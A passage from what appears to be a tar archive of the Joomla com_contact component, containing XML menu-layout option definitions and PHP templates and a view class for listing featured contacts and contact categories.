			description="COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_pagination"
			type="list"
			label="JGLOBAL_PAGINATION_LABEL"
			description="JGLOBAL_PAGINATION_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
			<option value="2">JGLOBAL_AUTO</option>
		</field>

		<field
			name="show_pagination_results"
			type="list"
			label="JGLOBAL_PAGINATION_RESULTS_LABEL"
			description="JGLOBAL_PAGINATION_RESULTS_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

	</fieldset>

	<fieldset name="contact" label="COM_CONTACT_FIELDSET_CONTACT_LABEL">

			<field
				name="presentation_style"
				type="list"
				label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
				description="COM_CONTACT_FIELD_PRESENTATION_DESC"
				useglobal="true"
				>
				<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
				<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
				<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>

			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
				default=""
				useglobal="true"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>
	</fieldset>

	<fieldset name="Contact_Form" label="COM_CONTACT_FIELDSET_CONTACTFORM_LABEL">

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
				size="30"
				useglobal="true"
			/>
	</fieldset>

</fields>
</metadata>
com_contact/views/featured/tmpl/default_items.php000060400000012654152453734460016324 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.core');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

?>

<?php if (empty($this->items)) : ?>
	<p> <?php echo JText::_('COM_CONTACT_NO_CONTACTS'); ?>	 </p>
<?php else : ?>

<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
	<fieldset class="filters">
	<legend class="hidelabeltxt"><?php echo JText::_('JGLOBAL_FILTER_LABEL'); ?></legend>
	<?php if ($this->params->get('show_pagination_limit')) : ?>
		<div class="display-limit">
			<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>&#160;
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
	<?php endif; ?>
	<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
	</fieldset>

	<table class="category">
		<?php if ($this->params->get('show_headings')) : ?>
		<thead><tr>
			<th class="item-num">
				<?php echo JText::_('JGLOBAL_NUM'); ?>
			</th>
			<th class="item-title">
				<?php echo JHtml::_('grid.sort', 'COM_CONTACT_CONTACT_EMAIL_NAME_LABEL', 'a.name', $listDirn, $listOrder); ?>
			</th>
			<?php if ($this->params->get('show_position_headings')) : ?>
			<th class="item-position">
				<?php echo JHtml::_('grid.sort', 'COM_CONTACT_POSITION', 'a.con_position', $listDirn, $listOrder); ?>
			</th>
			<?php endif; ?>
			<?php if ($this->params->get('show_email_headings')) : ?>
			<th class="item-email">
				<?php echo JText::_('JGLOBAL_EMAIL'); ?>
			</th>
			<?php endif; ?>
			<?php if ($this->params->get('show_telephone_headings')) : ?>
			<th class="item-phone">
				<?php echo JText::_('COM_CONTACT_TELEPHONE'); ?>
			</th>
			<?php endif; ?>

			<?php if ($this->params->get('show_mobile_headings')) : ?>
			<th class="item-phone">
				<?php echo JText::_('COM_CONTACT_MOBILE'); ?>
			</th>
			<?php endif; ?>

			<?php if ($this->params->get('show_fax_headings')) : ?>
			<th class="item-phone">
				<?php echo JText::_('COM_CONTACT_FAX'); ?>
			</th>
			<?php endif; ?>

			<?php if ($this->params->get('show_suburb_headings')) : ?>
			<th class="item-suburb">
				<?php echo JHtml::_('grid.sort', 'COM_CONTACT_SUBURB', 'a.suburb', $listDirn, $listOrder); ?>
			</th>
			<?php endif; ?>

			<?php if ($this->params->get('show_state_headings')) : ?>
			<th class="item-state">
				<?php echo JHtml::_('grid.sort', 'COM_CONTACT_STATE', 'a.state', $listDirn, $listOrder); ?>
			</th>
			<?php endif; ?>

			<?php if ($this->params->get('show_country_headings')) : ?>
			<th class="item-state">
				<?php echo JHtml::_('grid.sort', 'COM_CONTACT_COUNTRY', 'a.country', $listDirn, $listOrder); ?>
			</th>
			<?php endif; ?>

			</tr>
		</thead>
		<?php endif; ?>

		<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
				<tr class="<?php echo ($i % 2) ? 'odd' : 'even'; ?>" itemscope itemtype="https://schema.org/Person">
					<td class="item-num">
						<?php echo $i; ?>
					</td>

					<td class="item-title">
						<?php if ($this->items[$i]->published == 0) : ?>
							<span class="label label-warning"><?php echo JText::_('JUNPUBLISHED'); ?></span>
						<?php endif; ?>
						<a href="<?php echo JRoute::_(ContactHelperRoute::getContactRoute($item->slug, $item->catid)); ?>" itemprop="url">
							<span itemprop="name"><?php echo $item->name; ?></span>
						</a>
					</td>

					<?php if ($this->params->get('show_position_headings')) : ?>
						<td class="item-position" itemprop="jobTitle">
							<?php echo $item->con_position; ?>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_email_headings')) : ?>
						<td class="item-email" itemprop="email">
							<?php echo $item->email_to; ?>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_telephone_headings')) : ?>
						<td class="item-phone" itemprop="telephone">
							<?php echo $item->telephone; ?>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_mobile_headings')) : ?>
						<td class="item-phone" itemprop="telephone">
							<?php echo $item->mobile; ?>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_fax_headings')) : ?>
						<td class="item-phone" itemprop="faxNumber">
							<?php echo $item->fax; ?>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_suburb_headings')) : ?>
						<td class="item-suburb" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
							<span itemprop="addressLocality"><?php echo $item->suburb; ?></span>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_state_headings')) : ?>
						<td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
							<span itemprop="addressRegion"><?php echo $item->state; ?></span>
						</td>
					<?php endif; ?>

					<?php if ($this->params->get('show_country_headings')) : ?>
						<td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
							<span itemprop="addressCountry"><?php echo $item->country; ?></span>
						</td>
					<?php endif; ?>
				</tr>
			<?php endforeach; ?>

		</tbody>
	</table>

</form>
<?php endif; ?>
com_contact/views/categories/view.html.php000060400000001206152453734460014755 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content categories view.
 *
 * @since  1.6
 */
class ContactViewCategories extends JViewCategories
{
	/**
	 * Language key for default page heading
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $pageHeading = 'COM_CONTACT_DEFAULT_PAGE_TITLE';

	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected $extension = 'com_contact';
}
com_contact/views/categories/tmpl/default_items.php000060400000004634152453734460016651 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$class = ' class="first"';
if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) :
?>
	<?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
		<?php
		if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) :
			if (!isset($this->items[$this->parent->id][$id + 1]))
			{
				$class = ' class="last"';
			}
			?>
			<div <?php echo $class; ?> >
			<?php $class = ''; ?>
				<h3 class="page-header item-title">
					<a href="<?php echo JRoute::_(ContactHelperRoute::getCategoryRoute($item->id, $item->language)); ?>">
					<?php echo $this->escape($item->title); ?></a>
					<?php if ($this->params->get('show_cat_items_cat') == 1) :?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTACT_NUM_ITEMS'); ?>">
							<?php echo JText::_('COM_CONTACT_NUM_ITEMS'); ?>&nbsp;
							<?php echo $item->numitems; ?>
						</span>
					<?php endif; ?>
					<?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) : ?>
						<a id="category-btn-<?php echo $item->id; ?>" href="#category-<?php echo $item->id; ?>"
							data-toggle="collapse" data-toggle="button" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
					<?php if ($item->description) : ?>
						<div class="category-desc">
							<?php echo JHtml::_('content.prepare', $item->description, '', 'com_contact.categories'); ?>
						</div>
					<?php endif; ?>
				<?php endif; ?>

				<?php if ($this->maxLevelcat > 1 && count($item->getChildren()) > 0) : ?>
					<div class="collapse fade" id="category-<?php echo $item->id; ?>">
						<?php
						$this->items[$item->id] = $item->getChildren();
						$this->parent = $item;
						$this->maxLevelcat--;
						echo $this->loadTemplate('items');
						$this->parent = $item->getParent();
						$this->maxLevelcat++;
						?>
					</div>
				<?php endif; ?>
			</div>
		<?php endif; ?>
	<?php endforeach; ?><?php endif; ?>
com_contact/views/categories/tmpl/default.php000060400000002355152453734460015446 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
JHtml::_('behavior.caption');
JHtml::_('behavior.core');

// Add strings for translations in Javascript.
JText::script('JGLOBAL_EXPAND_CATEGORIES');
JText::script('JGLOBAL_COLLAPSE_CATEGORIES');

JFactory::getDocument()->addScriptDeclaration("
jQuery(function($) {
	$('.categories-list').find('[id^=category-btn-]').each(function(index, btn) {
		var btn = $(btn);
		btn.on('click', function() {
			btn.find('span').toggleClass('icon-plus');
			btn.find('span').toggleClass('icon-minus');
			if (btn.attr('aria-label') === Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'))
			{
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_COLLAPSE_CATEGORIES'));
			} else {
				btn.attr('aria-label', Joomla.JText._('JGLOBAL_EXPAND_CATEGORIES'));
			}
		});
	});
});");
?>
<div class="categories-list<?php echo $this->pageclass_sfx; ?>">
	<?php
		echo JLayoutHelper::render('joomla.content.categories_default', $this);
		echo $this->loadTemplate('items');
	?>
</div>
com_contact/views/categories/tmpl/default.xml000060400000046465152453734460015471 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES"
		/>
		<message>
			<![CDATA[COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
		>
			<field
				name="id"
				type="category"
				label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC"
				extension="com_contact"
				show_root="true"
				required="true"
			/>
		</fieldset>
	</fields>
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORIES_OPTIONS">
			<field
				name="show_base_description"
				type="list"
				label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
				description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="categories_description"
				type="textarea"
				label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
				description="JGLOBAL_FIELD_CATEGORIES_DESC_DESC"
				cols="25"
				rows="5"
			/>

			<field
				name="maxLevelcat"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories_cat"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc_cat"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items_cat"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
		<fieldset name="category" label="JGLOBAL_CATEGORY_OPTIONS">
			<field
				name="spacer1"
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
				useglobal="true"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				description="COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">
			<field
				name="spacer2"
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_POSITION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_headings"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_CONFIG_EMAIL_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_PHONE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_MOBILE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_FAX_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SUBURB_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_STATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="contact" label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL">
			<field
				name="presentation_style"
				type="list"
				label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
				description="COM_CONTACT_FIELD_PRESENTATION_DESC"
				useglobal="true"
				>
				<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
				<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
